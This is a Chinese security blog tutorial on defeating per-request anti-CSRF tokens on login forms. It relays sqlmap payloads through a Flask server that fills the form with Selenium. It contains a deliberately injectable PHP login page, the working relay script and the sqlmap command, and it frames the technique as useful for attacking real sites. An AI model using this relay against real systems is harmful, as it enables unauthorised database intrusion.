使用 flask + selenium 中转 SQLmap 进行注入

  • A+
所属分类:安全文章

本文作者:Z1NG(信安之路 2019 年度荣誉作者)

逛 tools 看到大佬使用这种方式日站,感觉蛮有意思的,就本地来实现玩玩。开头放上原文链接,以表崇拜之情:

https://www.t00ls.net/articles-52164.html

使用场景

在某些登录框,由于做了 token 保护,当传入的 token 与服务端的不一样的时候就会停止程序进一步的运行。那么如果这个这个登录框存在 SQL 注入,却无法自动化攻击,使用手工脱裤难免有些尴尬。又或者前端使用了某种加密方式,而我们传入的 payload 需要先进行这样的加密。这里介绍的 flask + selenium 中转 SQLmap 的方式注入,可以解决上述的问题。

原理

通常一个 token 值都是被隐藏在一个表单之中随着表单一起被发送到服务端,这样使用 selenium 模拟登陆的方式,自然而然可以或得到最新的 token 值,从而绕过保护。那我们如何把 sqlmap 的 payload 传递给 selenium?显然,我们可以搭建一个 web 服务,接收 sqlmap 传递过来的 payload,然后通过 selenium 的将 payload 填入到目标站点之中。

使用 flask + selenium 中转 SQLmap 进行注入

实现利用

首先,先编写一个具有注入的登录框,测试代码如下。以下代码主要是设置了一个 token 值,防止表单重复提交。

使用 flask + selenium 中转 SQLmap 进行注入

<?phpsession_start(); function randStr( $length = 32 ) {    $str = substr(md5(time()), 0, $length);//md5加密,time()当前时间戳    return $str;}if(!isset($_SESSION['token']) || $_SESSION['token']=='') {     $_SESSION['token']=randStr();} if(isset($_POST['token'])&&$_POST['token']!==$_SESSION['token']){   $_SESSION['token']=randStr();  die("token error");}$con = mysqli_connect("localhost","root","root","user");if(!$con){ die("something erorr"); }if(isset($_POST['username'])&&isset($_POST['password'])){  $sql="select * from user where username='".$_POST['username']."' and password='".$_POST['password']."'";  echo $sql,"<br>";  $rs = @mysqli_query($con,$sql);  $r = @mysqli_fetch_array($rs);}$_SESSION['token']=randStr();?><html><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><div style="margin:0 auto;width:100px">  <form action="index.php" method="POST">    用户名:<input type="text" name="username" id='username'/></br>    密 码:<input type="password" name="password" id='password'/></br>    <input type="hidden" name="token" id="token" value=<?php echo $_SESSION['token'];?> />    <input type="submit" id="submit"/>  </form><div></html>

如下两个数据包可以看出,重放数据包由于传入的 token 值和服务端的 token 值不符就会被中断。说明我们的 token 值起到了保护的作用了。

使用 flask + selenium 中转 SQLmap 进行注入

使用 flask + selenium 中转 SQLmap 进行注入

那么接下来,就是构造 flask+selenium 环境,用来中转 payload,从而绕过这个保护机制。首先要起一个 web 服务承接 sqlmap 发送来的 payload,然后将 payload 通过 selenium 模拟登陆的方式填入表单。

代码如下:

from flask import Flaskfrom flask import requestfrom selenium import webdriver
chrome = webdriver.Chrome()chrome.get("http://127.0.0.1")app = Flask(__name__)
def send(payload):    #起到中转payload效果。  chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方  chrome.find_element_by_id("password").send_keys("aaaa")  chrome.find_element_by_id("submit").click()  return "111" #随便返回一下不重要  @app.route('/')def index():    # 接收sqlmap传递过来的payload    payload = request.args.get("payload")    return send(payload)

if __name__ == "__main__":    app.run()

然后把 python 脚本跑起来,接着使用 sqlmap 扫描我们自己搭建的 flask 服务,效果就如下所示。

python sqlmap.py -u"127.0.0.1:5000/?payload=1

使用 flask + selenium 中转 SQLmap 进行注入

就这样,虽然 sqlmap 扫描的是 5000 端口的 flask 服务,但是 payload 就成功的被中转到了目标网站上,也能成功的识别出是否存在注入。

使用 flask + selenium 中转 SQLmap 进行注入

最后

其实这里有个疑问,经过了中转 sqlmap 为什么还能识别出注入

我猜测,上面的测试用例是基于时间的注入,也就是原本判断目标站点的执行时间,被转换成判断 send 函数的执行时间。而 send 函数的执行时间取决于目标网站的执行时间,因此还是等效的。那么有没有办法识别出布尔型注入呢?这个。。。没做尝试。。如果对 selenium 返回结果进行处理的得当的话,应该是可以识别的。代码写的太垃圾。。。所以就没深究了。。。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: